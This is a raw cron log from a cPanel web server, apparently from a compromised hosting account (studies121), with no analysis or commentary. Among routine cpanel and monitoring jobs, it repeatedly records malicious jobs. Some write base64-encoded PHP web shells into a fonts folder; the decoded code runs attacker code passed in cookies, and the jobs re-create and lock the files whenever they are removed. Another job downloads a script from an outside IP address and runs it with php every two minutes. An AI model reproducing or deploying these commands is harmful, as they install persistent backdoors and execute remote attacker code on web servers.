Sep  2 06:21:01 ip-184-168-122-23 CROND[28388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:22:01 ip-184-168-122-23 CROND[28552]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:22:01 ip-184-168-122-23 CROND[28556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:22:01 ip-184-168-122-23 CROND[28554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:22:01 ip-184-168-122-23 CROND[28555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:22:01 ip-184-168-122-23 CROND[28553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:23:01 ip-184-168-122-23 CROND[28694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:23:01 ip-184-168-122-23 CROND[28696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:23:01 ip-184-168-122-23 CROND[28695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:23:01 ip-184-168-122-23 CROND[28697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:24:01 ip-184-168-122-23 CROND[28848]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:24:01 ip-184-168-122-23 CROND[28850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:24:01 ip-184-168-122-23 CROND[28851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:24:01 ip-184-168-122-23 CROND[28852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:24:01 ip-184-168-122-23 CROND[28854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:25:02 ip-184-168-122-23 CROND[28972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:25:02 ip-184-168-122-23 CROND[28977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:25:02 ip-184-168-122-23 CROND[28974]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:25:02 ip-184-168-122-23 CROND[28975]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 06:25:02 ip-184-168-122-23 CROND[28976]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:25:02 ip-184-168-122-23 CROND[28979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:25:02 ip-184-168-122-23 CROND[28981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:26:01 ip-184-168-122-23 CROND[29086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:26:01 ip-184-168-122-23 CROND[29088]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:26:01 ip-184-168-122-23 CROND[29089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:26:01 ip-184-168-122-23 CROND[29090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:26:01 ip-184-168-122-23 CROND[29091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:27:01 ip-184-168-122-23 CROND[29200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:27:01 ip-184-168-122-23 CROND[29201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:27:01 ip-184-168-122-23 CROND[29205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:27:01 ip-184-168-122-23 CROND[29206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:28:01 ip-184-168-122-23 CROND[29391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:28:01 ip-184-168-122-23 CROND[29393]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:28:01 ip-184-168-122-23 CROND[29394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:28:01 ip-184-168-122-23 CROND[29395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:28:01 ip-184-168-122-23 CROND[29396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:29:01 ip-184-168-122-23 CROND[29516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:29:01 ip-184-168-122-23 CROND[29518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:29:01 ip-184-168-122-23 CROND[29519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:29:01 ip-184-168-122-23 CROND[29520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:30:01 ip-184-168-122-23 CROND[29678]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:30:01 ip-184-168-122-23 CROND[29679]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:30:02 ip-184-168-122-23 CROND[29684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:30:02 ip-184-168-122-23 CROND[29685]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 06:30:02 ip-184-168-122-23 CROND[29683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:30:02 ip-184-168-122-23 CROND[29687]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:30:02 ip-184-168-122-23 CROND[29682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:30:02 ip-184-168-122-23 CROND[29686]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:31:01 ip-184-168-122-23 CROND[29807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:31:01 ip-184-168-122-23 CROND[29809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:31:01 ip-184-168-122-23 CROND[29810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:31:01 ip-184-168-122-23 CROND[29813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:31:01 ip-184-168-122-23 CROND[29814]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 06:32:01 ip-184-168-122-23 CROND[29981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:32:01 ip-184-168-122-23 CROND[29984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:32:01 ip-184-168-122-23 CROND[29986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:32:01 ip-184-168-122-23 CROND[29989]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:32:01 ip-184-168-122-23 CROND[29992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:33:01 ip-184-168-122-23 CROND[30116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:33:01 ip-184-168-122-23 CROND[30118]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:33:01 ip-184-168-122-23 CROND[30119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:33:01 ip-184-168-122-23 CROND[30120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:34:01 ip-184-168-122-23 CROND[30232]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
